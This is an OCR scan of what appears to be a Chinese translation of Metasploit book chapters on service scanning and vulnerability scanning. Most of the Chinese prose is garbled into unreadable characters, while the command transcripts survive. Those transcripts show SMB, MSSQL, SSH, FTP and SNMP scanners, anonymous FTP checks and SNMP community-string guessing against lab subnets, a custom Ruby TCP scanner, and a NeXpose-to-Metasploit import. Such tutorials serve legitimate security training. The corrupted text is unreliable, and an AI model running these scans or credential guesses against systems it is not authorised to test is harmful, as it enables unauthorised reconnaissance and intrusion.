W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

HIW fEREE

WYRET WL, 7E@4 smb_version $3 GBS AEM ML W HY B AR R/E RS R Windows XP, H<%e¥:
T Service Pack 2 4 T . BRIA MBI RANTAEM T — & 0L, FrLMER T RRINKLZFE (THREAD)
S 1. WUREXS — AN KBRS BEATHIHE, Hian C 26 1P #hhk B, WLAEEM A set THREAD
LEEW WINFARER TR RO B LU PRI . 445 RO AR 17 7 Metasploit B8 o LIE S
SEAFH, FTLMER db_hosts 4 A E BIEFEHRFHEE.

msf auxiliary(smb _version) > db_hosts -c address,os flavor

Hosts
address os_flavor Svcs Vulns Workspace
192.168.1.155 Windows XP 3 0 default

msf auxiliary(smb_version) >

BUNFFAREAT KRBT R I T —ANIEATH Windows XP #AERLM TN, 45BN
U B S i K5 5 B i BRI b bR B %2 4 b s i 8 RUBR LB 7 vk

3.3.2 I EET LAY Microsoft SQL Server

AL & A 23/ Microsoft SQL Server (MS SQL) il # RN BERFREM B —NE1. %Lbr L,
2 RAEHREZ AN TS L%35E MS SQL IRE- 868, BhEL¥ i
f ¥ A A ( Microsoft Visual Studio) ZMIEHRE&M# AR ERS L, fHiXxeiEm
T %1 MS SQL IR %5 88 8 A8 % 58 SERR IR AL, tIR/D 22863 THF, HEMFHTHRE.

MS SQL ¥ /5, ‘BRI TCP 5510 1433 L el FIBENLEYZ)A TCP 38 10. tw B 7r bl
PLE) TCP ¥ 1 _E#EAT MS SQL MiWr, RFEEM AR UDP 3% 0 1434 #4725 H#), EREKBGXA
BEHLE TCP % 5. %448, Metasploit H —AMEER mssql ping AT LAFE BH AR K MUK 453,

BT mssql_ping (£ UDP #3, ZEXF KHUE K T MBHATHRM S 0 RS 18, XA
Ry EAH N A S, ERE—RRMP, RREFRECH 255 ¥R AHIBRIEE. X4
Metasploit 8L MS SQL AR 28 AR, &K BT A RESSIRE AT 3¢ TR B 221015 B A B i3k,
Forh o BB T e R IR 5 28 IR R TCP 3D 5.

CUF R T {6 mssql_ping AL, GFERZFEMER. 5|HERSE. BFSH0
ER#HBERETR.

msf > use scanner/mssql/mssql_ping
msf auxiliary(mssql_ping) > show options

Module options:

Name Current Setting Required Description
PASSWORD no The password for the specified username
RHOSTS yes The target address range or CIDR identifier
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit i 1% i35 A
THREADS 1 yes The number of concurrent threads
USERNAME  sa no The username to authenticate as
WORKSPACE no The name of the workspace to report data into

msf auxiliary(mssql ping) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24

msf auxiliary(mssql_ping) > set THREADS 255

THREADS => 255

msf auxiliary(mssql ping) > run

O [*] SOL Server information for 192.168.1.155:
[*] ServerName = V-XPSP2-BARE

e [*] InstanceName = SQLEXPRESS
[*] IsClustered = No

o [*] Version = 10.0.1600.22

0 [*] tcp = 1433

WAPRET I, B AEAR T MSSQL lR%5 2 Hbbt @, EibHiE T MSSQL L4142 0. R%
AR A SO MRS BEVTH TCP MO, WS —TF, £ M ARENHTFRFEE
H MSSQL F I Wi 11, 8 B X Fb v 1 3 8 LR A nmap B B AL BT A 3w D 34T R ER
"/L.

3.3.3 SSHR&E#BHE

IR R P IE B — 2 EHIEITH SSH (%4 Shell), R 4% SSH HIRRABEAT A .
SSH & —fr e 2 MY, (X BHZ2UREIEAMAME, 82 SSH A)SEIMR A 4 %I
THEERA. FEARKERSER —GRE BN TRIFMHEZNE, XHEErn#EAa
RERE S FEARAOk L. BT LAf# ] Metasploit HEZER) ssh_version SRR H AR5 28 LIZ1TH
SSH 4.

msf > use scanner/ssh/ssh_version

msf auxiliary(ssh version) > set THREADS 50
THREADS => 50

msf auxiliary(ssh_version) > run

[*] 192.168.1.1:22, SSH server version: SSH-2.0-dropbear 0.52

[*] Scanned 044 of 256 hosts (017% complete)

[*] 192.168.1.101:22, SSH server version: SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntul
[*] Scanned 100 of 256 hosts (039% complete)

[*] 192.168.1.153:22, SSH server version: SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntui
[*] 192.168.1.185:22, SSH server version: SSH-2.0-OpenSSH 4.3

XM G RERRA), —BARRRRS /LT AR T FRORAE. mRFRER S
—NEFERA) OpenSSH JREFEFF, MAXLATH] ssh_version $3H 3| B 45 R ] GEXTURAE K
HHE-
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

FIE ARIEE

3.34 FTPH#

FTP £ —FE A HERZ L&t AZ L. FTP IRE BEH RN H x4 RERER
@i, EBENRTIES, RERMN 2 BIRRS HIEITH FTP BT SRAME .

T HERATEH Metasploit HEZE(Y) fip version BRI BAIY Windows XP [EHIYLE) FTP k%
BEATHHE:

msf > use scannexr/ftp/ftp_version
msf auxiliary(ftp_version) > show options

Module options:

Name Current Setting Required Description

FTPPASS mozilla@example.com no The password for the specified username
FTPUSER anonymous no The username to authenticate as

RHOSTS yes The target address range or CIDR identifier
RPORT 21 yes The target port

THREADS 1 yes The number of concurrent threads

WORKSPACE no The name of the workspace to report data into

msf auxiliary(ftp_version) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24

msf auxiliary(ftp_version) > set THREADS 255

THREADS => 255

msf auxiliary(ftp version) > run

® [*] 192.168.1.155:21 FTP Banner: Minftpd ready

FHERE B R A H FTP R4S 250 . BLZERA 1M Metasploit HESE[F) scanner/fip/anonymous
BRI E—TXE FIP REBRERFELHER:

msf > use auxiliary/scanner/ftp/anonymous

msf auxiliary(anonymous) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24

msf auxiliary(anonymous) > set THREADS 50

THREADS => 50

msf auxiliary(anonymous) > xun

~ [*] Scanned 045 of 256 hosts (017% complete)
0O [*] 192.168.1.155:21 Anonymous READ/WRITE (220 Minftpd ready)

PRMBERE BROXEMFPB/AFEL A ERX, MEHELN, A ENSHR, #i7
WE#, AN FTP RERA G I BR, 7 UL AR SO EUT 8 FTP MRS 483k
EHIF A A
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BTt I AT ORM L% S 2 AT AR 2 A B B AT A 4%, 5 I 24 AT 1) SEBRABCR) N AR FHV R ST o DRIAR St 38 40 W o)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

Metasploit % i #5 #

3.3.56 fEEMEHNTE

A PMYL (SNMP) BH FH TR&RES, FARMEREFAR, WREURAME
B. R, —HERERLBAS SNMP &S5RG, TEARRHERL CPU FIHE, ZHA
FURHARGERERF R

SNMP &£ 4 REEE BRI HEZ 2, BEHRTBEMNAENEN . WTUH SNMP
MR SRR MR ST EREH LT HER, HESSBUREYORELIG. i, WRIRGER
B EA Wi/ E AU R Cisco #4188 SNMP Flfkr /s, (AT LUF 88/ Bk h A ROACE, W30
TR, HEekRBEaRT.

Metasploit HEE 40 & — N B HHIBIMEIR scanner/snmp/snmp_enum, €74 SNMP
EIRH . FHREHZEREE, mREBRNARE (RO SiE/%5 (RW) ARKH AP
g, BIRAREPRIEEREEEREM. T Windows BIFRZEM &Y, WRKE S
SNMP, EHTTLAMEA RO 2 RW BURKIEAFRT S, RIE AT %5, BTRRS. H
P&, BgEiraiE, BaUEREER, REE RN TRENR THEFEEEME. (AR
fEA FEFRTHARRAFEREARERESHNTFRNOSL.)

Hife A F R E s, SNMP GFIERTHRRA) W] LA VFUR 08 2 B 9 R T 04
T HES BRI BB RN REHBM . SNMP v1 fl v2 RAEMEH L2, SNMP v3
chiR N T N ShEE R T AT A A HLE], 3R T =M. b TIREVEE — & S HALEIBR,
HARREBEERIE N SNMP FEFRr8 . F| A Metasploit HESE i) scanner/snmp/snmp_login £
B, YRATLLSERRT A IP 2 — B IP il 7 HORSE AR SNMP 4k F47 8

msf > use use scanner/snmp/snmp_login

msf auxiliary(snmp_login) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24

msf auxiliary(snmp_login) > set THREADS 50

THREADS =» 50

msf auxiliary(snmp_login) > run

[*] »> progress (192.168.1.0-192.168,1.255) 0/30208...

[*] 192,168.1.2 'public’ 'GSM7224 L2 Managed Gigabit Switch'
[*] 192.168.1.2 'private’ 'GSM7224 L2 Managed Gigabit Switch’
[*] Auxiliary module execution completed

msf auxiliary(smmp_login) >

AT GSM7224 FHZE Google PHATIRERMRRIMAN, AMBELERAT 6
Netgear 35 5L ORI O] SNMP HIAFRF 8 . TiRRR AR, XFEMSGRFENAY
KR HR), RSP RRRTHRIHER T H HEBARE.
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

EI3IE AR

TERAIEE KIS, REBEIVFE RIS AR HEH SR, BATE RS
B AR PR R EREBIMESE R, A ENREBAREBERTES. J5—PMRAFAN
BRI ARG R &R AL Internet V7 IS, XAMFRSBBRILAER.

34 5 HCHHERR

£ Metasploit "R /DR £ 414 s B A FUIR 45 B 43RSt . Rt {EB LR R, Metasploit
HEZRHBA R L L B KPAMB T HRIERIThAE. HE MR AT LUIER Metasploit HERH14
MRBEBL RN %, ERIENE T ER SRR, REEETE (SSL) . RE4E
JRCA R R E R TEL2WHE TEPRE B XMEa#HREEEH, fllnmURE Mok
EAL AR R G BRI — A58 12 B0E RITHN T IR S1 B SRR

Metasploi HEZZER M- (4 1 BRI AFEZ M mixin RAZ), AT TCP. SMB KBS
i mixin, LA HERAE Metasploit HEAEeh %8 B34 mixin. Mixin & 4R e S SR $oRiA
RIARASMREL . Auxiliary::Scanner mixin T T Auxiliary 325 run F7i%k, 7EEITH LUER
run_host (IP). run_range (HbhESGFED, BX run batch (IP %R X4 AR ik, REX
1P HuHEFAT AL EE . FATTRTLARIA] Auxiliary::Scanner i FH #i4H ] Metasploit P B I fE. ©

R ANE LR TCP F1fE2869 Ruby MIA, BBV ER BT EHIN 12345 300, &
#J5, RIi& “HELLO SERVER” FFfdi, WRINRF RO 5, K AR 2535 w5 BRI AR 45 88 1P
oht— R B L.

#iMetasploit

require 'msf/core’

class Metasploit3 < Msf::Auxiliary

Oinclude Msf::Exploit::Remote::Tcp

®include Msf::Auxiliary::Scanner
def initialize

super (
"Name ' => "My custom TCP scan',
'Version' => '$Revision: 1 %7,
'Description’ => 'My quick scanner’,
'Author'’ => 'Your name here’,
'License’ => MSF_LICENSE

)

register_options(

©0pt: :RPORT(12345)
1, self.class)
end

@ #4472 Minix (BAEX) 2—AMEE L5415 TP A, IR0 — 088 shib R shakak AR,
RMTFEAREMGE, AREAECRETFME. M—A mixin LERAFE—FHBRAEX, AL
BEke—EIhit, —NETAMR—AHH$ A mixin it $ FoREKTEH $ b4k,
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ﬁtlﬂﬁﬂ: Ak TSR AL S 2 AT ARG 2 A B HEAT A4, A5 IR 2 47 1) SEBR AR R IBVE R DT . IRIAS S, 300 %ok}
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;&% MiX 1§

def run_host(ip)
connect()
@sock.puts('HELLO SERVER')
data = sock.recv(1024)
©print_status("Received: #{data} from #{ip}")
disconnect()
end
end

3X A f8 B B 41 4% 52 4 A Msf:Exploit::Remote::Tep mixin® 4 ¥ TCP & {5 . & H
Msf:: Auxiliary::Scanner mixin @4k& 1 8 B 5 (0 & A B E G RAT 77 . XM ERRN TR
WO RN 123450, —EERFIRSE, SRE -MHEO, KRR HIRSHKWAE,
A5 N 9 R PR 2 R R 9 28 ik — [El A e BB A O . '

BATTHUIX B B E X BB AARFELE module/auxiliary/scanner/B 2T, #3144 simple_tcp.rb. TE
Metasploit 1, MBREFHMBEFEEE. ¥0RE, DRXIMBRRREFET
modules/auxiliary/scanner/htip/8 42 F , CAELERBRIIRPHLIRN scanner/http/simple_tcp, T
AHJ& scanner/simple_tcps

K T XA AR RS AT IR, TRATE A netcat 7EYR [1 12345 BEATHIVT, i i
N — SO SO RERUIR 55 28 RO MR Y

root@bt:/# echo "Hello Metasploit” > banner.txt
root@bt:/# nc -lvnp 12345 < banner.txt
listening on [any] 12345...

BTk, RAOVEE MSF &3, HRRMNRINGHETROHMRSE, REFSH, BIFET
EEERE TEEW.

msf > use auxiliary/scanner/simple_tcp
msf auxiliary(simple_tcp) > show options

Module options:

Name Current Setting Required Description

RHOSTS yes The target address range or CIDR identifier
RPORT 12345 yes The target port

THREADS 1 yes The number of concurrent threads

msf auxiliary(simple_tcp) > set RHOSTS 192.168.1.101
RHOSTS =» 192.168.1.101
msf auxiliary(simple_tcp) > run

[*] Received: Hello Metasploit from 192.168.1.101
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(simple_tcp) >
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

FIE RmEE

BRIZAEARREHF, BAFATUES, MRASEMRER S W ERSE LR
LASR ) TAF A MK, Metasploit HEASHT S AL £ R Dh BE X URAT 1R R I HE B o fELIRX AR B 1
BF RESS 7 Metasploit FERFBIBLAGHI B AR S . AL, RIEZBE R+ H A LM
AT ETF TRENRR.

3.5 &g

A B PARES] T WTH A Metasploit HEASREATHERI%0E, XUET7k7E PTES srfth /NG #
B BREETHATEANRLE, FENSEHFASNBEETRANTH, HEEEH
ERAEMBE iR, SRS ERHRINL A JE NS R IEN BB k. 8,
XA BUR B T R TE B R BBARAIEE H AR E0E R TR R 2. AERK CERE
HEKW . AEBM . R R R R A TR IR B AT, RS ARN H AR I —.

8 4 TP, RIPKHIEEHBIEENRANS M EELE: RFMTHBRPH AR
M. fEJRHREEA T, RAVERASFIT AT QI B OB B SRR Meterpreter i<,
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BTt I AT ORM L% S 2 AT AR 2 A B B AT A 4%, 5 I 24 AT 1) SEBRABCR) N AR FHV R ST o DRIAR St 38 40 W o)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

A
R EERE

WA R — A A EE T ENL. FRARSL. MEURNARMHIRMERLES
MIRF. el Mt BAR REETHN, m HIRRERERE, B RBEES BiFHE
TRFIEFEREATILAC, #EMFESH BAR R LFERN L 2RI

H B RGBS BRI TR E AR, F eI TR BRI 4 2 A
RE. IR 538 T LUK X SERs B N VR R B AR RN 48407, R IE RS A, &
FERE HANT 2FFH. WiFAMSETLUER - PUt RN B XERERBEERE L,
FIEHE R AL L 2ENRERNSITHRS, FACEMNEECLEETAHTEF. KREH
BEEHREAMESERERME, NWRE LERIRIPZLRAETHIE, XOREXTHE
T A AZERELEEXEK,
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;&iE iR {&

AR S E R STERE = KRR, FEI RS ERRA K BEENA T
BRI, RN B RRRE. (DR, mRRMEERNE T AT ERRIULT,
F PRI 48 205 HARRO A T e B R AR, KA T T L EE 8 7.

LA EELT LAN, RAEHARE2ENATERETRAERNDRL —.
— UAEHI R FE R P T R AEE O ER . FEATED, RATAE X LR IR A
JRIFIFiE, BRI EN1S Metasploit £5&RKMAl, RINERHELMA 2 Metasploit
HE B2 RERE 1T R IR 13 4 B I AR

4.1 EAXRyRREAE

IRATTE — F B A I 43 & G T 4T 1) BATTAE A neteat RZREX H #5 192.168.1.203
FIEbr . MEARTEHUR 5 B — MmN RSy, FFIEBORIR SRR AR R (Bt . F 2N
HARS, bhin Web. SR DA BB, — P BB AT RS o 1 BR A e T RS 2 1
A, BRATLLN /S Hibs. X E, BALEREF|—MEITE TCP 31 80 L Web R4, MK
H— GET HTTP &K, it BRATE GRS 25 WM E K BT & PR HTTP kP HEEH 4
EAEE S

root@bt:/opt/framework3/msf3# nc 192.168.1.203 80
GET HTTP 1/1
HTTP/1.1 400 Bad Request

© Server: Microsoft-IIS/5.1

BEIRGE BOERRA], M 80 LEBEfTHIRETHMAK NS 5.1 # Web RFBFBREG. H 1K
Yofs B, BATATCMER @ 4-1 Frosmideimia R, ke E H iR R B S 5 A 1S fHX
R, URIXERGB[/RECELRETHTEF.

YR, EEBEEREE D, RO R R RRAT T a#NE . BT RENNHEFEE
FEMMESR, RAHHELEREFEEESWEEMR GRS TRFEESER LREFATE) MR
CREE RIFE SR EIRIFAAE) . RiREmB N RERE TRR, ARR, HARERN
LREAXMEHARMAOAME . WREOHFOARTERARE R TE 8 NRIARE
Fe, T H e 1R A 5 A R T B 5 22 I R B BT B 5

FEAERAI T #8— L 2 E S AOIRIREH48, £ B4 NeXpose. Nessus Fl-— L4 E 14
Hias.
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

BA4E WESDH

Scans Policies Users

Plugin . Name ;
T —y— i

10107 HTTP Server Type and Version warw (B0Acp) | Low
43111 HTTP Methods Allowed (per diractory) wnw (80%cp) L
11874 Microsofl IS 404 Response Servios Pack Signature www (B0Acp)  Low
11213 | HTTP TRACE / TRACK Mathods Allowad www [B0cp) | Medim
11424 WebDAV Datection www (B0%cp)  Low
24260 HyperText Transfer Protocol (HTTP) informiation waw (BOACD) | Low

B 4-1 H3HES Web B SR RIRFHISE R

4.2 £ NeXpose #7334

NeXpose J& Rapid7 2 &) #E H AR 7287 . eilnl o R BE T, ARE MK LIE
FEIBTHR &, BRAFNHBERENNARRF LR%42RIF. NeXpose Bfi 531183 0%
AT AR, HERE RS

Rapid7 2 w24t T £ F NeXpose 4, 7EX BEAMEAH X IEZ/R (Community edition),
R RIS AR %R . MWREITHER I IES P A NeXpose, FJLAZ % Rapid7 M b
Chttp:/fwww.rapid?.com/vulnerability-scannerjsp), T fA @ 7 M A A B B B Th BEAT & REL A 1)
E .

FATHHR B A5 2E — BN ZHE A Windows XP SP2 41, HAKKEZ EMHF A. B,
A HAREBHAT - IRATTRA&EEM: RE, HREA#HNS 2R FAT Metasploit 1. FEATT
GEHRT, e AR R E MSF 235 18l NeXpose TR, 7 MSF &g T
NeXpose 7] LLiE YR G TFHIT 3T Web RUBTE A/ 50, 10 HA 2 T MWAME S AR S IR .

421 E&

FEHXILZERRE NeXpose LR, RATLTHF — AW 528, AWM bE:
https.//<youripaddress>:3780. #RJGVR TG BEHSE NeXpose i H OB RIIIR % 23EH, HAEH %3
FEREMAFBMOSER. ERBEIEHRSEIME 4-2 FroaiRm. (F Rapid7 M B4
F*TF 44 NeXpose HIEMNH.)

7E NeXpose I EFEH, FR&TE T HBURE B T —L4r%E 0.

® /" (Assets) WO BRME FEHHME KT ENAEE,

® R (Reports) TLO@FFH T 4 58 5 A B IR %«

® &l (Vulnerabilities) 1@ 3{7EMLE ERILMRFHEST T B #R;

® ‘&3 (Administration) TT@O 0] L& Fh REGAC BT 0.
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit # %8 1

Site Listing

i 1

Current Scan Listing for All Sites
Thare are no scans to display.

Asset Group Listing

Bl 4-2 NeXpose ¥4 & L5
SETHRCER A — SR E E A RT e 8RBt BIE — NI B AR R RS

1. MMREF

NeXpose F I3 i3 (Site) RI§—RIMRXBRANZEEKS, EMREENGO T RER—
AMF TR FRERE RGN, RS T A LU — N RBE TAE s . 3 £ NeXpose HIFAFiXS
%, ERATHRHZAT, BABRE AN, WUONARIRE BB A E A R R

(1) GUEFuL AR, 7€ NeXpose 5 s New Site GHruftini) 1481, AR S LA
fEj R, #RJE i Next CF-—2) BEAGINBL&F .

(2) BMREN, HRATLMER 2 MARRRRLE R BT X, W 4-3 FioR. fRaT Ll
BN 1P bk, — A MG . — & A EE, B U R E BEE (4T EPPLD
MEHBEEREER. GTENSE S AMREEE “oi”, RITY LIRS, —AM6E
B RAERET — 2 AT RGNS PR EAITEBASH 1D, s Next f#5e
B 2 B AN HERR -

3) HEEHMBABELSTS, RN E MR PGSR, FlmAkBiad (Discovery
Scan) FIEHEHIIL (Penetration test): W LEFFRIRINE KHi5| %, EAEW RE Aol ITHAM
E&AES. BT RITAEN NeXpose THREH—MIENH, XRERINRFRANRESZ,
I riit7 Next H&HI 4848

(4) WMRVAAE RN AR ERER, TURENSEMBE#ES T GFEE: EXE
H—RERERRFERNAS 2504, RMRBPEMERKRIA “Aaai” 8 “ K1)
A7, SZHREERY “RERH” 8 IHRNEET). EHERER RS AR
BAs R4 BB FIRMARL KNS, XHA BT IRE E R AL R .

(5) 7 Credentials (FRIEH) Wi L, A New Login GRIER) 24, AFFHRKM
1P bk A — NP B O 4. WTLLAI T Test Login (RRER) ARG RIERETRAL,
HHRTE.
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Got B AT PORMU S S 2 H, AT AT 2 A FH sl b AT A4, 75 IS 24 AT 1) SE B BOR R IR 54T . TRIAR S 340 2 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

F4FE REEAM

Included Devices More Information
c i e —————
| The following list of 1P addresses and/or host names will be included in this she. Specify [P addresses using any of the
| L Tollowing notations:
Devices to sean I 1
| [0 110 10.0.0.1
| 10.0.0.1 - 10.0.0.255
10.0.0.0/24
W Example com
Import list of devices 0 SCAR| Choase File | o e chasen If CIDR notartion |s used (eg.
W 24) Bt 15 mssurad that the
entine nateork i scanned and
Excluded Devices Network dentiber (.0) and
Network Broadcast sddress(.255)
The: following list of 1P addresses snd/or host names will not be scannad &8 part of this sie. " be "

Oy . Skt S sietiag 10.0.0.0/24 will become 10.0.0.1 -
i 10.0.0.254

10.0.0.0/16 will become 10.0.0.1 -

10.0.255.254

Import list of devices to nﬂl{__umm.mncm

B 4-3 @] NeXpose 3 s P EmET i &

(6) BiJ5, Alili Save (fRAF) HHH LA AUHT Y s [ S IR IR E . XIS F 5 i H 251
YRS DR L, I 4-4 BoR.

[l Current Scan Listing for All Sites

[l Asset Group Listing

B 4-4  FFEP R T RIFIACE &8 A

2. FahAHEF

B R AR, ERT TR RIRIRE SR — IR H#ES T

(1) gidilE 4-4 PR New Manual Scan CHHIFa1HER) #H, XHARESEFLNE 4-5
FrRBAEHE, IX B O] LA E R AR SR R Lo B F= (0 A 7E 434 P, SORe R L H FrHERR R 2 .
EAEFIF, BRAIXTRIA R B Windows XP FHLBETHHE.

(2) FFR AR H bR IP fhllk, MREAHRHZARE THIRARFHME. fIATLRE A
ifi Start Now (SZBPFF4:) A HEEH.
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Got B AT PORMU S S 2 H, AT AT 2 A FH sl b AT A4, 75 IS 24 AT 1) SE B BOR R IR 54T . TRIAR S 340 2 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &% i & Fa

|
You can scan one or more assets within this site by entering IP addresses, IP address

ranges or host names.

Site: _labl ..‘a
Site Detalls

Scan template: Full audit
Included assets: 192.168.1.195
Excluded assets:

Manual Scan Targets

@ Scan all assets within this site
(0 Specify one or more assets within this site to scan

#

FE 4-5 NeXpose fIFTHIBL B AHEHE

(3) ALY, NeXpose AR HIAHRA T . %% Scan Progress (F#iHE)
0 Discovered Assets (B 1251 KPR E A Completed (5EHL), WIE 4-6 Frat, fE7Mm L
f¥] Scan Progress X &+ 4R 7] LAE WAEB R84 LRI T 268 4NiF: 7E Discovered Assets
B G IR T X T HARE RIS B iR &4 TR RER A% IUE, V8 5 Reports

(&) &I

Home : Assets i Sites :: Labl - Scans i Full sudit P TSmrch Y

| S Asser Fiter

Scan Progress =@
diltles
| |Scan Type Started i h Elapsed Status

Discovered Assets

Tue Mar 08 2011 14:24:12
GMT-0700
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Got B AT PORMU S S 2 H, AT AT 2 A FH sl b AT A4, 75 IS 24 AT 1) SE B BOR R IR 54T . TRIAR S 340 2 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

$4E RELH

3. ¥iRERT
W SRR — UEAT NeXpose, M HAUXFEM T —W43#, Report I £ R A B REM AR
(1) W 4-7 Fias, i New Report GEe) FTHERMRERS.

Home ;. Reports p —Mﬂ’h_‘"“. - { N Asset Fifter .

| Choose ane of the listed reports to view additional detalls about your devices.

B 4-7 NeXpose & iEM+

(2) MIA—MFIR M4 FR, S5 E Report format (R E#A) FB, ¥ NeXpose Simple
XML Export(NeXpose & 8 XML #iti), 1B 4-8 Fin  iXFig X A 5 e % T A B Metasploit
BIBIE P h . 7R IX BLR AT LLE B AN FIRIR SR, 0 SRR 75 RRTEIZ 1B FRAT BBk LA &
W, BATUEXERERMEX. #EFXESHGE, A Next ZH 4L,

Hedp o Ohat

T R T T e

Content

MeXpose silow users to Creats canned reports in a varlety of formats inchuding PDF, RTF, HTML, XML and Text. In addition, NeXposs
Baseline can export data & most database SyStems oF to suctured fle formats induding XML and CSV.
Schadule

Report name Target_195

Bl 48 hitE R ZIRAREK

(3) Wk 4-9 Fror, 7E8E T REE 05 K7 Select Sites (EFRUE £, RARTE B MRS i
R AR, RJE K Save L.

B 49 HEFBESEREPHYR
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit ;& &R 15

(4) 7t Select Device GEFR &) XHEHES, EFHEQETER P RR SN G A Save %4
(5) MEERSG R E RS, fAdi Save TSI A M ARRE AIETHKIBIAE. I Report
IR p BoRH T BIA G AR G, W 4-10 Fros.

VL e R e R e T o o e e e s :Z(“P* :

Home :: Reports :: Target_195 :: History ,0 Saarch i ¥ Asset Filer

Below are the generated reports for the Target_195 report.

Raport Size
101 KB

Bl 4-10 HAEEEFIH T OARR#RE

4.2.2 ®BHERSSAE Metasploit f

] NeXpose 52 T — IR e MRRAEH 2 G, WEEHRHLS RS AT Metasploit F.
BEFAZHE, VRLHIE MSF 2354 H db_connect v &GI8 — M BIEPE. FIEFFEIRE
ZJG, YRATLUMER db_import #r4-K¥F NeXpose ) XML #& MM E LM FABIEIRE S,
Metasploit 4= H hIR5% H3CHF £ B NeXpose i, HH OHBENGEEREA. BB
Fl db_hosts XAEFERARTHI. (XESHESH FTEMRESER.) WRHKREOLHTR,
Metasploit IR5I H! T WR7EF it B2 vh R LI 268 IR .

msf > db_connect postgres:toor@127.0.0.1/ms¥3
msf > db_impoxrt /tmp/host_195.xml

[*] Importing 'NeXpose Simple XML' data

[*] Importing host 192.168.1.195

